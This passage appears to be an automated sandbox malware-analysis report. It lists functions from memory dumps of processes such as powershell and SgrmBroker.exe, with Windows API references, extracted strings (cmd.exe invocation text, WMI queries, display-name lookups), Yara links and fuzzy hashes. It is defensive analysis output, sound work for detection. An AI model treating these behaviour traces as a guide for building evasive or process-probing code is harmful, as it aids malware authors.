Download Yara Rule

Strings

R_^, xrefs: 00007FF848F98792
R_^, xrefs: 00007FF848F98762
R_^, xrefs: 00007FF848F98782
R_^, xrefs: 00007FF848F987D2

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID: R_^$R_^$R_^$R_^
API String ID: 0-4164973000
Opcode ID: 084301480065568b828159bf4725c8cfe547af9be95f6ae50b0db5beab32d925
Instruction ID: 40ba9addbfd74a31a718aa8308642f48a79377dd8b75227807e1e189f03888b6
Opcode Fuzzy Hash: 084301480065568b828159bf4725c8cfe547af9be95f6ae50b0db5beab32d925
Instruction Fuzzy Hash: 0921A973C0EAC64FE319A63868A51A07FA0EF21655F4905BAC1C88B1D3EE185C4A8716

Function 00007FF848F98B62 Relevance: 5.1, Strings: 4, Instructions: 82COMMON

Download Yara Rule

Strings

R_^', xrefs: 00007FF848F98B92
R_^7, xrefs: 00007FF848F98BDA
R_^(, xrefs: 00007FF848F98B9A
R_^8, xrefs: 00007FF848F98BE2

Memory Dump Source

Source File: 0000000C.00000002.1971139361.00007FF848F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f90000_powershell.jbxd

Similarity

API ID:
String ID: R_^'$R_^($R_^7$R_^8
API String ID: 0-2994677593
Opcode ID: b05230c45a2ae80fa0c2667774379b3f138d2cbf89df5a37baeb13bda5e8e150
Instruction ID: 15a5917a03a58a05b652806189428b117d0f512074d103511b922ddc48afde39
Opcode Fuzzy Hash: b05230c45a2ae80fa0c2667774379b3f138d2cbf89df5a37baeb13bda5e8e150
Instruction Fuzzy Hash: AD21FFE3B1A6256A92047F78F5D11E57768EFD4770B90067ED2DC4F043AE14348746D8

Analysis Process: SppExtComObj.exePID: 6848, Parent PID: 1792COMMON

Non-executed Functions

Function 00007FF684C84A40 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF684C84A6C
GetCurrentThreadId.KERNEL32 ref: 00007FF684C84A7A
GetCurrentProcessId.KERNEL32 ref: 00007FF684C84A86
QueryPerformanceCounter.KERNEL32 ref: 00007FF684C84A96

Memory Dump Source

Source File: 00000017.00000002.2570833552.00007FF684A81000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF684A80000, based on PE: true

Associated: 00000017.00000002.2570696394.00007FF684A80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2572042733.00007FF684C9E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2572042733.00007FF68569E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2572042733.00007FF68609E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2579903036.00007FF68659D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2579945684.00007FF68659F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2579986666.00007FF6865A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff684a80000_SppExtComObj.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: bf7013351bea8f0f683ff0573f0f6c58ebd228a8967c8e45b9ed1b21e131e287
Instruction ID: 0cfa60afa2b2116c7c6d9f8a58c5a16d59437c47b56a6b858853d28c57e97a06
Opcode Fuzzy Hash: bf7013351bea8f0f683ff0573f0f6c58ebd228a8967c8e45b9ed1b21e131e287
Instruction Fuzzy Hash: A3115E22604F01CAEB109F20F8552A833A4FF0975CF441A35EA5D86798DF3CD5A5C340

Analysis Process: SgrmBroker.exePID: 7500, Parent PID: 1792COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.5%
Total number of Nodes:	935
Total number of Limit Nodes:	32

Executed Functions

Function 00007FF6D9DBFA10 Relevance: 189.3, APIs: 99, Strings: 7, Instructions: 3803memoryCOMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF6D9DBFA89
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF6D9DBFC8F
CompareStringOrdinal.KERNEL32 ref: 00007FF6D9DBFF5F
CloseHandle.KERNEL32 ref: 00007FF6D9DC41AD
CloseHandle.KERNEL32 ref: 00007FF6D9DC426E
CloseHandle.KERNEL32 ref: 00007FF6D9DC427C
CloseHandle.KERNEL32 ref: 00007FF6D9DC428D
CloseHandle.KERNEL32 ref: 00007FF6D9DC42AB
CloseHandle.KERNEL32 ref: 00007FF6D9DC42C4
CloseHandle.KERNEL32 ref: 00007FF6D9DC42DD
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF6D9DC42F6
HeapFree.KERNEL32 ref: 00007FF6D9DC4318
HeapFree.KERNEL32 ref: 00007FF6D9DC433A
HeapFree.KERNEL32 ref: 00007FF6D9DC435C
HeapFree.KERNEL32 ref: 00007FF6D9DC4373
HeapFree.KERNEL32 ref: 00007FF6D9DC439C

Strings

\cmd.exemaximum number of ProcThreadAttributes exceeded, xrefs: 00007FF6D9DC1E32, 00007FF6D9DC1F33
]?\\, xrefs: 00007FF6D9DC0790
p, xrefs: 00007FF6D9DC3F6D
#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "batch file arguments are invalid, xrefs: 00007FF6D9DC368F
.exeprogram not found, xrefs: 00007FF6D9DC0917
\?\\, xrefs: 00007FF6D9DC0788
=, xrefs: 00007FF6D9DBFB30

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: CloseHandle$Free$Heap$EnvironmentStrings$AddressCompareOrdinalSingleStringWake
String ID: #$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "batch file arguments are invalid$.exeprogram not found$=$\?\\$\cmd.exemaximum number of ProcThreadAttributes exceeded$]?\\$p
API String ID: 2893925715-605661072
Opcode ID: abf6f998de198fb72599f47d71bd1c3ed7613587fb29a02c65eb20443f034696
Instruction ID: c8e60c667bddd861d5d3131a67c7187011c9c34b75b017f09c0ac15e967b68f0
Opcode Fuzzy Hash: abf6f998de198fb72599f47d71bd1c3ed7613587fb29a02c65eb20443f034696
Instruction Fuzzy Hash: E983A222A0CED281EA719F15E4443BEA7A1FB88B94F444237DA9D97B99DF3CD461C700

Function 00007FF6D9CFDB59 Relevance: 125.2, APIs: 57, Strings: 13, Instructions: 2713memorythreadCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CFDDD2
HeapFree.KERNEL32 ref: 00007FF6D9CFDF63
HeapFree.KERNEL32 ref: 00007FF6D9CFE100
HeapFree.KERNEL32 ref: 00007FF6D9CFE29D
HeapFree.KERNEL32 ref: 00007FF6D9CFE46A
HeapFree.KERNEL32 ref: 00007FF6D9CFE644
HeapFree.KERNEL32 ref: 00007FF6D9CFE7E1
HeapFree.KERNEL32 ref: 00007FF6D9CFE939
HeapFree.KERNEL32 ref: 00007FF6D9CFEACA
HeapFree.KERNEL32 ref: 00007FF6D9CFEC9E
HeapFree.KERNEL32 ref: 00007FF6D9CFEE8C
HeapFree.KERNEL32 ref: 00007FF6D9CFF01B
HeapFree.KERNEL32 ref: 00007FF6D9CFF1D0
HeapFree.KERNEL32 ref: 00007FF6D9CFF36F
HeapFree.KERNEL32 ref: 00007FF6D9CFF500
HeapFree.KERNEL32 ref: 00007FF6D9CFF691
HeapFree.KERNEL32 ref: 00007FF6D9CFF83A

Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF49AB
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF49D3
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF49F3
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4A13
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4A33
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4A53
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4A73
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4A93
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4AB7
Part of subcall function 00007FF6D9CF4970: HeapFree.KERNEL32 ref: 00007FF6D9CF4AD7

HeapFree.KERNEL32 ref: 00007FF6D9CFF891
HeapFree.KERNEL32 ref: 00007FF6D9CFFADC
HeapFree.KERNEL32 ref: 00007FF6D9CFFB01
HeapFree.KERNEL32 ref: 00007FF6D9D0012B
HeapFree.KERNEL32 ref: 00007FF6D9D00147
HeapFree.KERNEL32 ref: 00007FF6D9D002DB
HeapFree.KERNEL32 ref: 00007FF6D9D002F5
HeapFree.KERNEL32 ref: 00007FF6D9D00331

Part of subcall function 00007FF6D9CF3FC0: HeapFree.KERNEL32 ref: 00007FF6D9CF4020
Part of subcall function 00007FF6D9CF3FC0: HeapFree.KERNEL32 ref: 00007FF6D9CF409B
Part of subcall function 00007FF6D9CF3FC0: HeapFree.KERNEL32 ref: 00007FF6D9CF40B8
Part of subcall function 00007FF6D9CF3FC0: HeapFree.KERNEL32 ref: 00007FF6D9CF40D4
Part of subcall function 00007FF6D9CF3FC0: HeapFree.KERNEL32 ref: 00007FF6D9CF40FA

AddVectoredExceptionHandler.KERNEL32 ref: 00007FF6D9D00F4D
SetThreadStackGuarantee.KERNELBASE ref: 00007FF6D9D00F60
GetCurrentThread.KERNEL32 ref: 00007FF6D9D00F66
SetThreadDescription.KERNELBASE ref: 00007FF6D9D00F7D

Part of subcall function 00007FF6D9DC9960: GetProcessHeap.KERNEL32(?,?,00000008,?,00007FF6D9D29462,?,?,00000008,?,00007FF6D9DE1551), ref: 00007FF6D9DE644B

Strings

arenegyl, xrefs: 00007FF6D9D004A2
modnarod, xrefs: 00007FF6D9D00945
uespemos, xrefs: 00007FF6D9D00485
setybdet, xrefs: 00007FF6D9D004AF
^F|m%dIS, xrefs: 00007FF6D9CFEA3F
uespemos, xrefs: 00007FF6D9D00935
, xrefs: 00007FF6D9CFF7DE
, xrefs: 00007FF6D9CFF7F2
setybdet, xrefs: 00007FF6D9D0095F
main, xrefs: 00007FF6D9D00F73
V1N*~GX, xrefs: 00007FF6D9CFF751
modnarod, xrefs: 00007FF6D9D00495
arenegyl, xrefs: 00007FF6D9D00952

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Heap$Free$Thread$CurrentDescriptionExceptionGuaranteeHandlerProcessStackVectored
String ID: $ $V1N*~GX$^F|m%dIS$arenegyl$arenegyl$main$modnarod$modnarod$setybdet$setybdet$uespemos$uespemos
API String ID: 3189231204-887744486
Opcode ID: d3f3f8f4880be2e2ba43278f170bae56eb76ebb1d8e88676a972b7f7af556f38
Instruction ID: 5bd083b3d25b89ef67c8fab01cc6dfb88f281e3e678f14a4e7321c6348bf669a
Opcode Fuzzy Hash: d3f3f8f4880be2e2ba43278f170bae56eb76ebb1d8e88676a972b7f7af556f38
Instruction Fuzzy Hash: 2853B232619BD181EBA18F16E4503BE77A1FB88B80F448236DA8D87B99DF3CD525C740

Function 00007FF6D9CFBF68 Relevance: 103.0, APIs: 56, Strings: 2, Instructions: 1463memorynativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6D9CFBFAA
NtQueryInformationProcess.NTDLL ref: 00007FF6D9CFBFCB
GetCurrentProcess.KERNEL32 ref: 00007FF6D9CFBFD0
NtQueryInformationProcess.NTDLL ref: 00007FF6D9CFBFF4
GetCurrentProcess.KERNEL32 ref: 00007FF6D9CFBFF9
NtQueryInformationProcess.NTDLL ref: 00007FF6D9CFC01A
HeapFree.KERNEL32 ref: 00007FF6D9CFC959
HeapFree.KERNEL32 ref: 00007FF6D9CFCDD7
CloseHandle.KERNEL32 ref: 00007FF6D9CFCE7B
CloseHandle.KERNEL32 ref: 00007FF6D9CFCE80
HeapFree.KERNEL32 ref: 00007FF6D9CFD020

Strings

main, xrefs: 00007FF6D9D00F73
, xrefs: 00007FF6D9CFC6B2

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Process$CurrentFreeHeapInformationQuery$CloseHandle
String ID: $main
API String ID: 1158601441-474169129
Opcode ID: 44c87d6660bac3bb190a17a80cfd78c33820fffea89a8e1459b98cd017e14407
Instruction ID: 7d13db92c7f39e06d97e0b1ffd0a76c33c8487489935d8e33ee93a7bba564733
Opcode Fuzzy Hash: 44c87d6660bac3bb190a17a80cfd78c33820fffea89a8e1459b98cd017e14407
Instruction Fuzzy Hash: 5FE28F32A09B8181EA609F11E4403BE67B0FB89BD8F544237DA9D87BA5DF3CE565C740

Function 00007FF6D9DCDA50 Relevance: 100.2, APIs: 66, Instructions: 1209memorynativetimeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNELBASE ref: 00007FF6D9DCDAED
GetLastError.KERNEL32 ref: 00007FF6D9DCDAF7
GetSystemTimes.KERNELBASE ref: 00007FF6D9DCDB11
GetLastError.KERNEL32 ref: 00007FF6D9DCDB1B
GetProcessIoCounters.KERNEL32 ref: 00007FF6D9DCDC90
OpenProcessToken.ADVAPI32 ref: 00007FF6D9DCDD34
GetTokenInformation.KERNELBASE ref: 00007FF6D9DCDD78
GetLastError.KERNEL32 ref: 00007FF6D9DCDD82
GetProcessHeap.KERNEL32 ref: 00007FF6D9DCDDA6
HeapAlloc.KERNEL32 ref: 00007FF6D9DCDDC5
GetTokenInformation.KERNELBASE ref: 00007FF6D9DCDDE8
GetLastError.KERNEL32 ref: 00007FF6D9DCDE29
GetLastError.KERNEL32 ref: 00007FF6D9DCDE3D
CloseHandle.KERNEL32 ref: 00007FF6D9DCDE45
GetLastError.KERNEL32 ref: 00007FF6D9DCDE4F
NtQueryInformationProcess.NTDLL ref: 00007FF6D9DCDEF0
ReadProcessMemory.KERNELBASE ref: 00007FF6D9DCDF28
ReadProcessMemory.KERNELBASE ref: 00007FF6D9DCDF57
HeapFree.KERNEL32 ref: 00007FF6D9DCE041
NtQueryInformationProcess.NTDLL ref: 00007FF6D9DCE067

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Process$ErrorLast$Information$HeapToken$MemoryQueryReadTimes$AllocCloseCountersFreeHandleOpenSystem
String ID:
API String ID: 3519098311-0
Opcode ID: 8a7b5a9d83be089031172fb6e521d659fa4de7893426e574d961a6295065d13a
Instruction ID: b4401a40a631cbe64610859eb08480027eee744d69fe8928bc7903e04843cad3
Opcode Fuzzy Hash: 8a7b5a9d83be089031172fb6e521d659fa4de7893426e574d961a6295065d13a
Instruction Fuzzy Hash: 31C29562A08F8686E7648F16E4443BE67A1FF89B94F444637DA8D83794DF3CE4A4C710

Function 00007FF6D9CF8B9D Relevance: 61.5, APIs: 27, Strings: 7, Instructions: 1965memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CF8BA9

Part of subcall function 00007FF6D9DD0ED0: CoCreateInstance.COMBASE ref: 00007FF6D9DD0F13
Part of subcall function 00007FF6D9DD0ED0: SysFreeString.OLEAUT32 ref: 00007FF6D9DD0F97
Part of subcall function 00007FF6D9DD0ED0: CoSetProxyBlanket.COMBASE ref: 00007FF6D9DD0FCC

HeapFree.KERNEL32 ref: 00007FF6D9CFB576

Part of subcall function 00007FF6D9DC9960: GetProcessHeap.KERNEL32(?,?,00000008,?,00007FF6D9D29462,?,?,00000008,?,00007FF6D9DE1551), ref: 00007FF6D9DE644B

SysFreeString.OLEAUT32 ref: 00007FF6D9CF956A
SysFreeString.OLEAUT32 ref: 00007FF6D9CF9578
HeapFree.KERNEL32 ref: 00007FF6D9CF958F
GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF97F5
HeapFree.KERNEL32 ref: 00007FF6D9CF99E5

Part of subcall function 00007FF6D9CF1680: RtlReAllocateHeap.NTDLL ref: 00007FF6D9CF17C9
Part of subcall function 00007FF6D9CF1680: GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF17F4

Strings

c, xrefs: 00007FF6D9CF8BF8
UP, xrefs: 00007FF6D9CF9FE2
Vr, xrefs: 00007FF6D9CF9C75
WQLEmptyNullStringI1I2I4I8R4R8BoolUI1UI2UI4UI8ArrayObjectIUnknownWrapperinner, xrefs: 00007FF6D9CF94ED
ROOT\CIMV2, xrefs: 00007FF6D9CF8BB2, 00007FF6D9CF9C60, 00007FF6D9CF9F3B, 00007FF6D9CFA309, 00007FF6D9CFA4EE
0, xrefs: 00007FF6D9CF97A5
{o, xrefs: 00007FF6D9CF9F50

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Free$Heap$String$ErrorInfo$AllocateBlanketCreateInstanceProcessProxy
String ID: 0$ROOT\CIMV2$UP$WQLEmptyNullStringI1I2I4I8R4R8BoolUI1UI2UI4UI8ArrayObjectIUnknownWrapperinner$Vr$c${o
API String ID: 1388123693-743638217
Opcode ID: a82baf6901ad28eaa3218fa9b6457a8307f4107da804e78cb88e8bb6a9ec7d7d
Instruction ID: 3d48a3638ccf8ff5514ff1ece2cd4e702e1c7faf5229db1ee1eb077aae44be96
Opcode Fuzzy Hash: a82baf6901ad28eaa3218fa9b6457a8307f4107da804e78cb88e8bb6a9ec7d7d
Instruction Fuzzy Hash: 94233636609BC185EA618F15E4403EEB7B4FB98B84F448226DACD83B99DF7CD564CB40

Function 00007FF6D9CFD2B0 Relevance: 36.3, APIs: 24, Instructions: 286
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CFD2D9
HeapFree.KERNEL32 ref: 00007FF6D9CFD300
CloseHandle.KERNEL32 ref: 00007FF6D9CFD31F
CloseHandle.KERNEL32 ref: 00007FF6D9CFD33E
CloseHandle.KERNEL32 ref: 00007FF6D9CFD35D
HeapFree.KERNEL32 ref: 00007FF6D9CFD695
HeapFree.KERNEL32 ref: 00007FF6D9CFD6B7

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 681293f55c76c5ee27876b0540fda4049ae221a60d5d32763f68924ca7a6df02
Instruction ID: 180d7f4776e07be71eb9eb8366028009c4d4ff70d26e3c7cae33fa7dd54811a6
Opcode Fuzzy Hash: 681293f55c76c5ee27876b0540fda4049ae221a60d5d32763f68924ca7a6df02
Instruction Fuzzy Hash: 07C16021A09B8182E6A49F12A8443BE67B1FF89BD4F044237DE9E977D5DF3CE4658700

Function 00007FF6D9CF4140 Relevance: 31.9, APIs: 21, Instructions: 355
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CF4210
HeapFree.KERNEL32 ref: 00007FF6D9CF424D
RtlFreeHeap.NTDLL ref: 00007FF6D9CF4409
HeapFree.KERNEL32 ref: 00007FF6D9CF443A
HeapFree.KERNEL32 ref: 00007FF6D9CF447D
HeapFree.KERNEL32 ref: 00007FF6D9CF4494
HeapFree.KERNEL32 ref: 00007FF6D9CF44EA
PdhRemoveCounter.PDH ref: 00007FF6D9CF4546
CloseHandle.KERNEL32 ref: 00007FF6D9CF45A0

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$CloseCounterHandleRemove
String ID:
API String ID: 1366079419-0
Opcode ID: 154a2e87eaab93ee58e853b70127dc7c9e1edf396652835a1a7629be190e324b
Instruction ID: c8e39951a274d193bce0d14139653e117b3bd4fb9e7027dede31e7e998e0f2e4
Opcode Fuzzy Hash: 154a2e87eaab93ee58e853b70127dc7c9e1edf396652835a1a7629be190e324b
Instruction Fuzzy Hash: CEE19422B0AA4281EB559F2AA44837D67B1BF88BE8F454137CE5D977D4DF3CE4658300

Function 00007FF6D9CF1680 Relevance: 27.8, APIs: 18, Instructions: 752memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL ref: 00007FF6D9CF17C9
GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF17F4
SafeArrayDestroy.OLEAUT32 ref: 00007FF6D9CF1851
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF6D9CF18D0
HeapFree.KERNEL32 ref: 00007FF6D9CF274E

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Heap$AllocateArrayDestroyErrorFreeInfoPrngProcessSafe
String ID:
API String ID: 2479993482-0
Opcode ID: 7d71b51fcbd30d1e8c50c97454091c2645adfb4ad59fa8785b6ec23a2b35a9de
Instruction ID: d7c4b1d6a677af21823bb8e089750bb313615eb0768d28a9735d772ace85ee18
Opcode Fuzzy Hash: 7d71b51fcbd30d1e8c50c97454091c2645adfb4ad59fa8785b6ec23a2b35a9de
Instruction Fuzzy Hash: C6825B32A19BC181E7718F15E4403AEB7B0FB98B98F448126DA8D93B98DF7CD565CB00

Function 00007FF6D9CFAD98 Relevance: 20.0, APIs: 6, Strings: 5, Instructions: 740
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9CF28B0: SysFreeString.OLEAUT32 ref: 00007FF6D9CF2943
Part of subcall function 00007FF6D9CF28B0: SysFreeString.OLEAUT32 ref: 00007FF6D9CF2951

ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF6D9CFAF10

Part of subcall function 00007FF6D9CF3D90: HeapFree.KERNEL32 ref: 00007FF6D9CF3E43

HeapFree.KERNEL32 ref: 00007FF6D9CFB3CD
HeapFree.KERNEL32 ref: 00007FF6D9CFB486
HeapFree.KERNEL32 ref: 00007FF6D9CFB4BC
HeapFree.KERNEL32 ref: 00007FF6D9CFB576

Strings

playName, xrefs: 00007FF6D9CFB10D
displayN, xrefs: 00007FF6D9CFB30F
displayN, xrefs: 00007FF6D9CFAFD0
displayName, xrefs: 00007FF6D9CFAFC5, 00007FF6D9CFB046, 00007FF6D9CFB308
displayN, xrefs: 00007FF6D9CFB04D

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Free$Heap$String$PrngProcess
String ID: displayN$displayN$displayN$displayName$playName
API String ID: 4214144531-1313144357
Opcode ID: 2b342e5f85685317ce02a23e819d8e80e0b7b38f641c62df627f9f30b7e79569
